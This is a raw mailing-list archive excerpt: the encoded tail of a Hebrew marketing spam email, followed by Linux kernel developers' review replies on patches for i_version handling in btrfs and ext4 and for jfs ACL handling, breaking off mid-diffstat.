c2VyMTc4Mi9pbWFnZXMvMS5qcGciIHN0eWxlPSJ3aWR0aDogMjAwcHg7IGhlaWdodDogMjAw cHg7IiB3aWR0aD0iMjAwIiAvPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQgc3R5bGU9InZlcnRp Y2FsLWFsaWduOiBtaWRkbGU7IHRleHQtYWxpZ246IHJpZ2h0OyI+PGRpdiBzdHlsZT0idGV4 dC1hbGlnbjogY2VudGVyOyI+PGRpdj48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigyNTUsIDE0 MCwgMCk7Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAyMnB4OyI+PHN0cm9uZz7Xoteb16nX mdeVINeR157Xkdem16IhINee15fXmdeoINek15nXpteV16UhPC9zdHJvbmc+PC9zcGFuPjwv c3Bhbj48L2Rpdj4NCgkJCQkJCTxkaXY+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMjJweDsi PjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDI1NSwgMTQwLCAwKTsiPjxzdHJvbmc+15HXnten 15XXnSDXkS00NTAg16kmcXVvdDvXlyZuYnNwOzwvc3Ryb25nPjwvc3Bhbj4NCgkJCQkJCQkJ PHNwYW4gc3R5bGU9ImNvbG9yOiByZ2IoMjU1LCAwLCAwKTsiPjxzdHJvbmc+15EtMjgwINep JnF1b3Q715cg15HXnNeR15M8L3N0cm9uZz48L3NwYW4+DQoJCQkJCQkJCQ0KCQkJCQkJCQkg Jm5ic3A7PHNwYW4gc3R5bGU9ImNvbG9yOiByZ2IoMjU1LCAxNDAsIDApOyI+PHN0cm9uZz7X nNeX15LXldeo16og15LXkSDXqNek15XXkNeZ16og15DXnNeh15jXmdeqITwvc3Ryb25nPjwv c3Bhbj48L3NwYW4+PC9kaXY+DQoJCQkJCQk8cD48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAx NnB4OyI+PHN0cm9uZz7Xl9eS15XXqNeqINeS15Eg16jXpNeV15DXmdeqINeQ15zXodeY15nX qiwg157Xoteg15nXp9eUINec15LXkSDXldec157Xqteg15nXmdedINeq157Xmdeb15Qg157X nNeQ15QsINee15vXmdec15Qg15vXk9eV16jXmdedINeR15nXlSDXnteS16DXmNeZ15nXnSDX kNep16gg157Xqdek16jXmdedINeQ16og15TXmdem15nXkdeV16osINee16HXmdeZ16LXmded INeR15TXpNeS16og15vXkNeRINeS15Eg15XXqteV157Xm9eZ150g15HXnteq16DXmdeZ150g 15XXkdeS15Eg15HXpteV16jXlCDXnteV16nXnNee16ouPGJyIC8+DQoJCQkJCQkJCQkNCgkJ CQkJCQkJCQ0KCQkJCQkJ15TXm9eT15XXqNeZ150g157XmdeZ16bXqNeZ150g16nXk9eUINee 15LXoNeY15kg15HXoNeZ15TXnSDXldeiJnF1b3Q715kg15TXoteR16jXqiDXlNee16HXqNeZ 150g15zXkteRLCDXntek15nXkteZ150g15vXnCDXm9eQ15E8YnIgLz4NCgkJCQkJCQkJCQ0K CQkJCQkJCQkJDQoJCQkJCQnXldee16HXmdeZ16LXmdedINeR157XoNeZ16LXqiDXkdei15nX ldeqINeZ16bXmdeR15Qg15XXqteg15XXl9eULjwvc3Ryb25nPg0KCQkJCQkJCQkNCgkJCQkJ CQkJICZuYnNwOzxiciAvPg0KCQkJCQkJCQkNCgkJCQkJCQkJDQoJCQkJCQnXl9eS15XXqNeU INee16fXpteV16LXmdeqLCDXkNeZ15vXldeq15nXqiwg157XkNeV16nXqNeqINeiJnF1b3Q7 15kg157XqNeb15bXmSDXmNeZ16TXldecINeQ15zXmNeo16DXmNeZ15HXmS48YnIgLz4NCgkJ CQkJCQkJDQoJCQkJCQkJCQ0KCQkJCQkJ15TXmNeZ16TXldecINeR15vXkNeR15kg15TXkteR INeV15HXkdei15nXldeqINei157XmdeT15Qg15XXmdem15nXkdeUINeR15DXldek158g15DX nNeY16jXoNeY15nXkdeZLCDXnNec15Ag16rXqNeV16TXldeqINeV15zXnNeQINeb15DXkS48 YnIgLz4NCgkJCQkJCQkJDQoJCQkJCQkJCQ0KCQkJCQkJ15TXl9eS15XXqNeUINeU15XXm9eZ 15fXlCDXkNeqINei16bXnteUINeR157Xodek16gg16jXkSDXqdecINee16fXqNeZ150uIDkw JSDXlNem15zXl9eUINeR157Xp9eo15nXnSDXl9ee15XXqNeZ150uPGJyIC8+DQoJCQkJCQkJ CTxiciAvPg0KCQkJCQkJCQk8c3BhbiBzdHlsZT0iY29sb3I6IHJnYigxMjgsIDAsIDEyOCk7 Ij48c3Ryb25nPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDIycHg7Ij7XnNek16jXmNeZ150g 16DXldeh16TXmdedJm5ic3A7PGEgaHJlZj0iaHR0cDovL2VtYWlscy1kaXJlY3QuY29tL01h aWwvQ291bnRMaW5rLmFzcHg/U0lEPTE5NjMzODM5MjYmTElEPTQwNDc1NjAyIj7XnNeX16Ug 15vXkNefITwvYT48L3NwYW4+PC9zdHJvbmc+PC9zcGFuPjwvc3Bhbj48L3A+PC9kaXY+DQoJ CQkJCTxwIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48c3BhbiBzdHlsZT0iY29sb3I6 IHJnYigxMjgsIDAsIDEyOCk7Ij48c3Ryb25nPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDIy cHg7Ij48aW1nIGFsdD0iIiBoZWlnaHQ9Ijk2IiBzcmM9Imh0dHA6Ly93d3cubWVzZXIxMC5j b20vY2tmaW5kZXIvdXNlcmZpbGVzL1VzZXIxNzgyL2ltYWdlcy8yLmpwZyIgc3R5bGU9Indp ZHRoOiAxNDBweDsgaGVpZ2h0OiA5NnB4OyIgd2lkdGg9IjE0MCIgLz4NCgkJCQkJCQkJCQ0K CQkJCQkJCQkJICZuYnNwOzxpbWcgYWx0PSIiIGhlaWdodD0iMTE3IiBzcmM9Imh0dHA6Ly93 d3cubWVzZXIxMC5jb20vY2tmaW5kZXIvdXNlcmZpbGVzL1VzZXIxNzgyL2ltYWdlcy80Lmpw ZyIgc3R5bGU9IndpZHRoOiAxNDBweDsgaGVpZ2h0OiAxMTdweDsiIHdpZHRoPSIxNDAiIC8+ PC9zcGFuPjwvc3Ryb25nPjwvc3Bhbj48L3A+DQoJCQkJCTxkaXY+DQoJCQkJCQkmbmJzcDs8 L2Rpdj48L3RkPjwvdHI+PC90Ym9keT48L3RhYmxlPjwvZGl2PjxwIHN0eWxlPSJ0ZXh0LWFs aWduOiBjZW50ZXI7Ij4mbmJzcDs8L3A+DQo8L1REPjwvVFI+DQo8L1RBQkxFPjwvZGl2Pjxi ciAvPjx0YWJsZSBkaXI9InJ0bCIgc3R5bGU9ImZvbnQtZmFtaWx5OkFyaWFsOyBmb250LXNp emU6IDguNXB0OyB3aWR0aDogNzAwcHg7Ij48VFI+PFREIGFsaWduPSJjZW50ZXIiPjxzcGFu IHN0eWxlPSJjb2xvcjogcmdiKDEyOCwgMTI4LCAxMjgpOyBmb250LXNpemU6IDlwdDsgZm9u dC1mYW1pbHk6IEFyaWFsOyI+15TXnteb15zXnNeUINec16jXpNeV15DXlCDXmNeR16LXmdeq IHzXqi7Xky4gMzE5M3wg16jXnteqINeZ16nXmSA8L3NwYW4+PGJyIC8+PGhyIC8+Jm5ic3A7 PGJyIC8+PHNwYW4gc3R5bGU9ImNvbG9yOiBibGFjazsgZm9udC1zaXplOiA4LjVwdDsgZm9u dC1mYW1pbHk6IEFyaWFsOyI+15TXldeT16LXlCDXlteVINeg16nXnNeX15Qg15wtIGxpbnV4 LXhmc0Bvc3Muc2dpLmNvbSAg16LXnCDXmdeT15kgIGRhc0B3YWxsYS5jb20gPGJyIC8+16LX nCDXnteg16og15zXlNeh15nXqCDXkNeqINei16bXnteaINee16jXqdeZ157XqiDXlNeq16TX ldem15Qg15zXl9elL9eZIDxhIGhyZWY9Imh0dHA6Ly9lbWFpbHMtZGlyZWN0LmNvbS9Db250 YWN0cy9SZW1vdmVGcm9tTGlzdHMuYXNweD9JRD1pcXpSVFpxVElZVG02ck5MM21RRkhzTlVh T3lvTUFDWWNWSmglMmJLRE1TQkZQTlJmeVNYS0tPRm9RM0R6JTJibTN4diZVSUQ9QjB4eGF5 ZnZMSXFPY1BTWWxpSXhrUSUzZCUzZCZFSUQ9QW5qeGFWZFN1TEFkS05YRmVCWnVtZyUzZCUz ZCI+15vXkNefPC9hPjwvc3Bhbj48YnIgLz4mbmJzcDs8YnIgLz48L1REPjwvVFI+PFRSPjx0 ZD48aW1nIHNyYz0iaHR0cDovL2VtYWlscy1kaXJlY3QuY29tL1VzZXJQaWN0dXJlcy8xOTYz MzgzOTI2LmdpZiIgd2lkdGg9IjUiIGhlaWdodD0iMiIgYm9yZGVyPSIwIiAvPjwvdGQ+PC90 cj48L3RhYmxlPjwvZGl2PjwvQk9EWT48L0hUTUw+ ----boundary_2973231_35f526d4-5b6f-4eb6-bd35-926dbfde7c73-- From adilger@dilger.ca Mon Dec 2 16:05:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 685C429DF9 for ; Mon, 2 Dec 2013 16:05:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 43898304087 for ; Mon, 2 Dec 2013 14:05:17 -0800 (PST) X-ASG-Debug-ID: 1386021912-04cbb0416748f5f0001-NocioJ Received: from mail-pd0-f179.google.com (mail-pd0-f179.google.com [209.85.192.179]) by cuda.sgi.com with ESMTP id IM5vTa6FDCEZimMu (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Dec 2013 14:05:13 -0800 (PST) X-Barracuda-Envelope-From: adilger@dilger.ca X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.179 Received: by mail-pd0-f179.google.com with SMTP id r10so18929461pdi.24 for ; Mon, 02 Dec 2013 14:05:12 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:message-id:references:to; bh=KNrqlxJoBoCUtSSCQ7q6HS1O5hdSnioDQN1yGaXFqKE=; b=FlEPq9bocaST5VWzerApRucjKm6X9bXEz49YC/dHjrKzkTVzyIJO/iAkP4OyQEkr7V jE5H6dXglk3styy3wzUWhDUEMf0SVLsS6LZQzGpQdRKQ3a8VJ5s5rrWgBFObJkMT97Xz rvsctV5IJEIHo11GflT9eJyDwVK5Biw9dAUtZBjnCCmXEgfJ/v9PXZwZZ77e+rstHYfP 5dh3VuSmY6j6iH+IAM2uNkUYPyiRYcbjriZLboaUNiZ7CAOQWCt7l7HPuS419v1a+hib Pj4DDNiUw4xEAyuIr4P/PSYCl040S7slcvuLRIMxa1/RGZdRZyB/za7yi0JBm+xeS5AP MMfQ== X-Barracuda-BBL-IP: nil X-Gm-Message-State: ALoCoQlt4ykKqZ7bb0Z3FyNLny26MGknr+lwa1Wgn3NBskkbfpu72GVUkC+UQDzCEPqmqIOvKGl2 X-Received: by 10.68.129.99 with SMTP id nv3mr34777845pbb.40.1386021912253; Mon, 02 Dec 2013 14:05:12 -0800 (PST) Received: from cabot-wlan.adilger.int (S0106002191d9348b.cg.shawcable.net. [96.51.76.157]) by mx.google.com with ESMTPSA id hu10sm124987897pbc.11.2013.12.02.14.05.10 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 02 Dec 2013 14:05:11 -0800 (PST) Content-Type: multipart/signed; boundary="Apple-Mail=_7D8628FB-B316-4644-8F5D-7B988D7E3343"; protocol="application/pgp-signature"; micalg=pgp-sha1 X-Barracuda-Apparent-Source-IP: 96.51.76.157 Mime-Version: 1.0 (Mac OS X Mail 7.0 \(1822\)) Subject: Re: [PATCH] fs: fix iversion handling From: Andreas Dilger X-ASG-Orig-Subj: Re: [PATCH] fs: fix iversion handling In-Reply-To: <20131202173636.GA17724@infradead.org> Date: Mon, 2 Dec 2013 15:05:07 -0700 Cc: linux-fsdevel , xfs@oss.sgi.com, Ext4 Developers List Message-Id: <8E57B1B6-E650-4A1A-AF78-0A9C9593A3E3@dilger.ca> References: <20131119151707.GA13412@infradead.org> <20131202173636.GA17724@infradead.org> To: Christoph Hellwig X-Mailer: Apple Mail (2.1822) X-Barracuda-Connect: mail-pd0-f179.google.com[209.85.192.179] X-Barracuda-Start-Time: 1386021912 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142791 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Apple-Mail=_7D8628FB-B316-4644-8F5D-7B988D7E3343 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii On Dec 2, 2013, at 10:36 AM, Christoph Hellwig = wrote: > ping? Added linux-ext4 to the CC list. I'm happy to see this cleanup. You can add my Reviewed-by: Andreas Dilger for the ext4 part, one question inline for the btrfs change (someone = with more btrfs knowledge needs to comment if that is important or not. Cheers, Andreas > On Tue, Nov 19, 2013 at 07:17:07AM -0800, Christoph Hellwig wrote: >> Currently notify_change directly updates i_version for size updates, >> which not only is counter to how all other fields are updated through >> struct iattr, but also breaks XFS, which need inode updates to happen >> under its own lock, and synchronized to the structure that gets = written >> to the log. >>=20 >> Remove the update in the common code, and it to btrfs and ext4, >> XFS already does a proper updaste internally and currently gets a >> double update with the existing code. >>=20 >> IMHO this is 3.13 and -stable material and should go in through the = XFS >> tree. >>=20 >> Signed-off-by: Christoph Hellwig >>=20 >> Index: xfs/fs/attr.c >> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D >> --- xfs.orig/fs/attr.c 2013-11-19 16:08:42.275415189 +0100 >> +++ xfs/fs/attr.c 2013-11-19 16:08:51.803414994 +0100 >> @@ -182,11 +182,6 @@ int notify_change(struct dentry * dentry >> return -EPERM; >> } >>=20 >> - if ((ia_valid & ATTR_SIZE) && IS_I_VERSION(inode)) { >> - if (attr->ia_size !=3D inode->i_size) >> - inode_inc_iversion(inode); >> - } >> - >> if ((ia_valid & ATTR_MODE)) { >> umode_t amode =3D attr->ia_mode; >> /* Flag setting protected by i_mutex */ >> Index: xfs/fs/btrfs/inode.c >> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D >> --- xfs.orig/fs/btrfs/inode.c 2013-11-19 16:08:42.275415189 = +0100 >> +++ xfs/fs/btrfs/inode.c 2013-11-19 16:08:51.803414994 +0100 >> @@ -4345,8 +4345,12 @@ static int btrfs_setsize(struct inode *i >> * these flags set. For all other operations the VFS set these = flags >> * explicitly if it wants a timestamp update. >> */ >> - if (newsize !=3D oldsize && (!(mask & (ATTR_CTIME | = ATTR_MTIME)))) >> - inode->i_ctime =3D inode->i_mtime =3D = current_fs_time(inode->i_sb); >> + if (newsize !=3D oldsize) { >> + inode_inc_iversion(inode); Should this be conditional on IS_I_VERSION(inode)? >> + if (!(mask & (ATTR_CTIME | ATTR_MTIME))) >> + inode->i_ctime =3D inode->i_mtime =3D >> + current_fs_time(inode->i_sb); >> + } >>=20 >> if (newsize > oldsize) { >> truncate_pagecache(inode, newsize); >> Index: xfs/fs/ext4/inode.c >> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D >> --- xfs.orig/fs/ext4/inode.c 2013-11-19 16:08:42.275415189 +0100 >> +++ xfs/fs/ext4/inode.c 2013-11-19 16:08:51.803414994 +0100 >> @@ -4594,6 +4594,10 @@ int ext4_setattr(struct dentry *dentry, >> if (attr->ia_size > sbi->s_bitmap_maxbytes) >> return -EFBIG; >> } >> + >> + if (IS_I_VERSION(inode) && attr->ia_size !=3D = inode->i_size) >> + inode_inc_iversion(inode); >> + >> if (S_ISREG(inode->i_mode) && >> (attr->ia_size < inode->i_size)) { >> if (ext4_should_order_data(inode)) { >>=20 >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs > ---end quoted text--- > -- > To unsubscribe from this list: send the line "unsubscribe = linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html Cheers, Andreas --Apple-Mail=_7D8628FB-B316-4644-8F5D-7B988D7E3343 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iQIVAwUBUp0EE3Kl2rkXzB/gAQIzLRAAq6brTcMpky/57cXpzlHi98YjCuAd2PYU wkW/nIY9jjGuvIZtaARixtxhpjhpoMMqk3ioID16PzXLyuzqHb02RquLqWD9BILA Tv+6FfiD2s7IwkQdxR1VH/Fpxzrqg7s4VKI7FuJN7MGCG23AseJY+99M/KModnWh ClEUdvuaNzMoQQonvq/Q+bxooBnkpTgQa470WjFlwXQlmaRMw4pfFQZKxqqD7iAi q9X5KDsnR5fswvsJ3yus89k0BaFSSkgFhGm7FG7wqjecxTWZ9KWCXySvPvsjuG4x vqd/PAXGCMrE7DQaETCE4pU7Ay6KOdfrKmve6TsGaDeaN7TynChNLT9/E2ETXqSc X9hUxLCwE/U80dxEOekIDnCa/W/V4seUpJrbYCSRv5Qz2zH3kVXBZYCxcrwbGPmb NLF9zzAuJoAVmGWP3OBWQGcVU88gBFQV4QbfKo6C9FCw6Su83O9/PsMXgJFK0+zw Ybv2iKZZIPreLvVN09HGcwrUcKeQW4MY9zAzx4OIkDiwn7Ri6le6yjtKqy9TOFBi JDSAIFrd0BsHbzajU3IM1nGo+lHFcqd4Hl+JbZmqNg/VVk4VnlD5mMuAbkVLJjJM uyjQXZOhmfSMn4aVOVNTejlGHZ+RU/Eo3zprKjVd8Wo2G7SDs7zC8s96R1/zbqTd bypDBX0MeaU= =JE2+ -----END PGP SIGNATURE----- --Apple-Mail=_7D8628FB-B316-4644-8F5D-7B988D7E3343-- From jack@suse.cz Mon Dec 2 16:11:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 55A8E7F57 for ; Mon, 2 Dec 2013 16:11:54 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3B5E78F8078 for ; Mon, 2 Dec 2013 14:11:54 -0800 (PST) X-ASG-Debug-ID: 1386022309-04cb6c537c48a520001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id fhDnOyatsEWYiLpt for ; Mon, 02 Dec 2013 14:11:49 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 3D3E6A7B6A; Mon, 2 Dec 2013 23:11:47 +0100 (CET) Received: by quack.suse.cz (Postfix, from userid 1000) id 3752E81EF4; Mon, 2 Dec 2013 23:11:46 +0100 (CET) Date: Mon, 2 Dec 2013 23:11:46 +0100 From: Jan Kara To: Christoph Hellwig Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] fs: fix iversion handling Message-ID: <20131202221146.GH12253@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH] fs: fix iversion handling References: <20131119151707.GA13412@infradead.org> <20131202173636.GA17724@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202173636.GA17724@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1386022309 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142791 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon 02-12-13 09:36:36, Christoph Hellwig wrote: > ping? > > On Tue, Nov 19, 2013 at 07:17:07AM -0800, Christoph Hellwig wrote: > > Currently notify_change directly updates i_version for size updates, > > which not only is counter to how all other fields are updated through > > struct iattr, but also breaks XFS, which need inode updates to happen > > under its own lock, and synchronized to the structure that gets written > > to the log. > > > > Remove the update in the common code, and it to btrfs and ext4, > > XFS already does a proper updaste internally and currently gets a > > double update with the existing code. > > > > IMHO this is 3.13 and -stable material and should go in through the XFS > > tree. > > > > Signed-off-by: Christoph Hellwig Feel free to add my: Acked-by: Jan Kara for the ext4 part. Honza > > > > Index: xfs/fs/attr.c > > =================================================================== > > --- xfs.orig/fs/attr.c 2013-11-19 16:08:42.275415189 +0100 > > +++ xfs/fs/attr.c 2013-11-19 16:08:51.803414994 +0100 > > @@ -182,11 +182,6 @@ int notify_change(struct dentry * dentry > > return -EPERM; > > } > > > > - if ((ia_valid & ATTR_SIZE) && IS_I_VERSION(inode)) { > > - if (attr->ia_size != inode->i_size) > > - inode_inc_iversion(inode); > > - } > > - > > if ((ia_valid & ATTR_MODE)) { > > umode_t amode = attr->ia_mode; > > /* Flag setting protected by i_mutex */ > > Index: xfs/fs/btrfs/inode.c > > =================================================================== > > --- xfs.orig/fs/btrfs/inode.c 2013-11-19 16:08:42.275415189 +0100 > > +++ xfs/fs/btrfs/inode.c 2013-11-19 16:08:51.803414994 +0100 > > @@ -4345,8 +4345,12 @@ static int btrfs_setsize(struct inode *i > > * these flags set. For all other operations the VFS set these flags > > * explicitly if it wants a timestamp update. > > */ > > - if (newsize != oldsize && (!(mask & (ATTR_CTIME | ATTR_MTIME)))) > > - inode->i_ctime = inode->i_mtime = current_fs_time(inode->i_sb); > > + if (newsize != oldsize) { > > + inode_inc_iversion(inode); > > + if (!(mask & (ATTR_CTIME | ATTR_MTIME))) > > + inode->i_ctime = inode->i_mtime = > > + current_fs_time(inode->i_sb); > > + } > > > > if (newsize > oldsize) { > > truncate_pagecache(inode, newsize); > > Index: xfs/fs/ext4/inode.c > > =================================================================== > > --- xfs.orig/fs/ext4/inode.c 2013-11-19 16:08:42.275415189 +0100 > > +++ xfs/fs/ext4/inode.c 2013-11-19 16:08:51.803414994 +0100 > > @@ -4594,6 +4594,10 @@ int ext4_setattr(struct dentry *dentry, > > if (attr->ia_size > sbi->s_bitmap_maxbytes) > > return -EFBIG; > > } > > + > > + if (IS_I_VERSION(inode) && attr->ia_size != inode->i_size) > > + inode_inc_iversion(inode); > > + > > if (S_ISREG(inode->i_mode) && > > (attr->ia_size < inode->i_size)) { > > if (ext4_should_order_data(inode)) { > > > > _______________________________________________ > > xfs mailing list > > xfs@oss.sgi.com > > http://oss.sgi.com/mailman/listinfo/xfs > ---end quoted text--- > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- Jan Kara SUSE Labs, CR From dave.kleikamp@oracle.com Mon Dec 2 16:13:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7ECE57F57 for ; Mon, 2 Dec 2013 16:13:00 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 69BA9304087 for ; Mon, 2 Dec 2013 14:13:00 -0800 (PST) X-ASG-Debug-ID: 1386022378-04cbb0416648faf0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id RDbcyPkJCf2OoTNg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 14:12:59 -0800 (PST) X-Barracuda-Envelope-From: dave.kleikamp@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB2MBwb0019558 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 2 Dec 2013 22:11:59 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB2MBvha021843 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 2 Dec 2013 22:11:57 GMT Received: from abhmp0020.oracle.com (abhmp0020.oracle.com [141.146.116.26]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB2MBu6H007807; Mon, 2 Dec 2013 22:11:56 GMT Received: from [192.168.1.103] (/99.156.91.244) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 02 Dec 2013 14:11:56 -0800 Message-ID: <529D05AB.7080306@oracle.com> Date: Mon, 02 Dec 2013 16:11:55 -0600 From: Dave Kleikamp User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Christoph Hellwig , viro@zeniv.linux.org.uk CC: xfs@oss.sgi.com, Mark Fasheh , reiserfs-devel@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, cluster-devel@redhat.com, linux-mtd@lists.infradead.org, Joel Becker , jfs-discussion@lists.sourceforge.net, linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-nfs@vger.kernel.org, linux-btrfs@vger.kernel.org Subject: Re: [Jfs-discussion] [PATCH 15/18] jfs: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> <20131201120656.391407780@bombadil.infradead.org> X-ASG-Orig-Subj: Re: [Jfs-discussion] [PATCH 15/18] jfs: use generic posix ACL infrastructure In-Reply-To: <20131201120656.391407780@bombadil.infradead.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386022379 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142791 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On 12/01/2013 05:59 AM, Christoph Hellwig wrote: > Copy the scheme I introduced to btrfs many years ago to only use the > xattr handler for ACLs, but pass plain attrs straight through. Looks good. > > Signed-off-by: Christoph Hellwig Reviewed-by: Dave Kleikamp > --- > fs/jfs/acl.c | 105 ++++++++++++++++++++------------------------------ > fs/jfs/file.c | 4 +- > fs/jfs/jfs_acl.h | 7 +--- > fs/jfs/jfs_xattr.h | 2 + > fs/jfs/namei.c | 